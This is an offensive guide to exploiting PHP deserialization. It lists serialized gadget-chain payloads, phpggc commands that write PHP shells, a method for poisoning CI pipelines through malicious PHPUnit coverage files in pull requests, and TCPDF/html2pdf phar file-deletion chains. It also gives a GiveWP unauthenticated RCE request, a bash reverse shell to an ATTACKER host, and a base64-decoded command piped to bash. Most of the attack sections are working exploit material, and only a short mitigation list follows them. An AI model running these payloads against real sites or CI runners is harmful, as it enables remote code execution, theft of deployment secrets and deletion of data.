PHP Deserialization Pentesting
A comprehensive guide to exploiting PHP deserialization vulnerabilities in web applications and CI/CD pipelines.
Quick Reference
| Attack Vector | Prerequisites | Impact |
|---|---|---|
| spl_autoload_register + LFI | Deserialization + custom autoloader | RCE via file loading |
| PHPUnit PHPT Coverage | CI/CD with phpunit < 8.5.52/9.6.34/10.5.63/11.5.50/12.5.8 | RCE in CI container |
| TCPDF __destruct | TCPDF loaded + unserialize() | Arbitrary file deletion |
| html2pdf phar:// | html2pdf ≤5.3.0 + PHP < 8.0 | File deletion via phar metadata |
| GiveWP <3.14.2 | GiveWP plugin + Stripe/Faker deps | Unauthenticated RCE |
1. spl_autoload_register + LFI/Gadget Chain
When to Use
- You found PHP deserialization but no gadgets in the current app
- Another vulnerable app shares the same container with exploitable libraries
- The target uses
spl_autoload_registerwith path transformation logic
Attack Flow
Identify the autoloader pattern
// Common pattern: underscores → slashes spl_autoload_register(function ($name) { if (preg_match('/_/', $name)) { $name = preg_replace('/_/', '/', $name); } $filename = "/${name}.php"; if (file_exists($filename)) { require $filename; } });Load external composer autoload
- Class name becomes file path:
www_frontend_vendor_autoload→/www/frontend/vendor/autoload.php - Payload:
O:28:"www_frontend_vendor_autoload":0:{}
- Class name becomes file path:
Generate phpggc payload for the external library
phpggc Guzzle FW1 /tmp/a.php "<?php system('YOUR_COMMAND'); ?>" -oCombine into single serialized array
a:2:{ s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{} s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{...} }Add LFI loader for the created file
a:3:{ s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{} s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{...} s:6:"Extra3";O:5:"tmp_a":0:{} }
Important Notes
- Private properties may be dropped: If gadget attributes arrive empty, edit the
chain.phpto make propertiespublic - May require two requests: First creates the file, second loads it
- File upload shortcut: If you can upload
.phpfiles, abuse the autoloader directly for RCE
2. PHPUnit PHPT Coverage Deserialization (CI/CD)
When to Use
- Target uses PHPUnit with PHPT coverage
- You can contribute test files to the repository
- PHPUnit version < 8.5.52 / 9.6.34 / 10.5.63 / 11.5.50 / 12.5.8 (CVE-2026-24765)
Attack Flow
Create malicious coverage file
<?php $payload = file_get_contents('php://stdin'); // phpggc serialized gadget file_put_contents('exploit.coverage', $payload);Place in repository alongside a PHPT test file
Submit PR - CI executes
phpunit --configuration phpunit.xmlPHPT runner deserializes the coverage file → RCE in CI container
Impact
- RCE inside CI/CD runner
- Access to mounted secrets (cloud creds, deployment keys)
- No web access required
3. TCPDF __destruct POP Chain
When to Use
- Application uses TCPDF and calls
unserialize()on user input - TCPDF version < 6.9.3 (older versions have weaker path checks)
- Goal: arbitrary file deletion
Payload Structure
a:1:{
s:4:"html";
O:5:"TCPDF":2:{
s:7:"file_id";i:-1;
s:9:"imagekeys";a:1:{
i:0;s:39:"/tmp/../tmp/do_not_delete_this_file.txt";
}
}
}
How It Works
- TCPDF
__destruct()calls_destroy(true) - Iterates over
$this->imagekeys unlink()s paths underK_PATH_CACHE- Path traversal bypasses restrictions
Triggering via phar:// in html2pdf
Prerequisites: html2pdf ≤5.3.0, PHP < 8.0
Create Phar archive
# Use scripts/create-phar-payload.py python scripts/create-phar-payload.py \ --metadata "<serialized TCPDF payload>" \ --output archive.pngUpload/place the file (e.g.,
/tmp/user_files/user_1/archive.png)Submit HTML with CERT tag
<cert src="phar:///tmp/user_files/user_1/archive.png" privkey="phar:///tmp/user_files/user_1/archive.png" />html2pdf calls
file_exists()→ deserializes Phar metadata → TCPDF destructor runs
4. GiveWP Unauthenticated RCE (CVE-2024-5932)
When to Use
- WordPress site with GiveWP plugin < 3.14.2
- Donation forms accessible without authentication
- Stripe and Faker dependencies present
Attack Flow
Generate payload using phpggc or PoC
uv run CVE-2024-5932-rce.py -u "<form_url>" -c "<command>"POST to donation endpoint
POST /donations/<slug>/ HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded amount=5&give-form-id=1&give-form-title=Any&give-gateway=offline&action=give_process_donation&give_title=<serialized_payload>Use blind RCE techniques
- Reverse shell:
bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1" - Callback payloads for output exfiltration
- File deletion via
unlinksink
- Reverse shell:
Chain Components
Stripe\StripeObject- base objectGive\Vendors\Faker\ValidGenerator- validator sinkGive\Onboarding\SettingsRepository- command storage- Sink:
shell_execorunlink
5. Finding and Testing Deserialization
Detection Patterns
// Direct unserialize
unserialize($_GET['data']);
unserialize(file_get_contents('php://input'));
// Indirect via session
session_start(); // with user-controlled session data
// Via file includes
include($_POST['file']); // with serialized content
// Via phar:// streams
file_exists('phar://' . $_GET['file']);
Testing Checklist
- Identify unserialize() calls in codebase
- Check for custom
__wakeup()or__destruct()methods - Map available classes and their magic methods
- Search phpggc for compatible gadgets:
phpggc -l | grep -E "<library>" - Test with simple payloads first:
O:1:"stdClass":0:{} - Check for output filters or error suppression
phpggc Quick Commands
# List all available gadgets
phpggc -l
# Search for specific library
phpggc -l | grep -E "Guzzle|Monolog|Drupal|WordPress"
# Generate payload
phpggc <Gadget> <Function> <Argument> -o
# Generate with custom output
phpggc Guzzle FW1 /tmp/shell.php "<?php system('id'); ?>" -o
6. Payload Construction Tips
Private Property Issue
When mixing gadgets across applications, private properties may be dropped during deserialization if class definitions differ.
Solution: Edit the gadget's chain.php to make properties public:
// Before
private $filename;
// After
public $filename;
Multi-Object Arrays
Combine multiple objects in one serialized array for complex chains:
a:3:{
s:5:"obj1";O:28:"ClassLoader":0:{}
s:5:"obj2";O:31:"GadgetObject":4:{...}
s:5:"obj3";O:5:"Loader":0:{}
}
Base64 Encoding
For command injection in file creation:
<?php system('echo <base64_command> | base64 -d | bash'); ?>
7. Mitigation Recommendations
For Developers
- Never call
unserialize()on user input - Use
json_decode()for structured data - Implement strict type checking
- Keep dependencies updated (check phpggc for known gadgets)
- Use PHP 8.0+ (phar:// stream restrictions)
For Security Teams
- Monitor for
unserialize()in code reviews - Scan dependencies with phpggc compatibility checks
- Test CI/CD pipelines for coverage file handling
- Review file upload and phar:// stream usage
8. References
- phpggc - PHP Gadget Chains
- Positive Technologies - Blind Trust PDF Research
- CVE-2024-5932 - GiveWP RCE
- CVE-2026-24765 - PHPUnit PHPT Coverage
- GitLab Advisory - TCPDF Phar Deserialization
Scripts
Use the bundled scripts for common tasks:
scripts/generate-payload.py- Generate phpggc payloads with custom optionsscripts/create-phar-payload.py- Create Phar archives with serialized metadatascripts/find-unserialize.py- Scan codebase for unsafe unserialize() calls
Run with --help for usage details.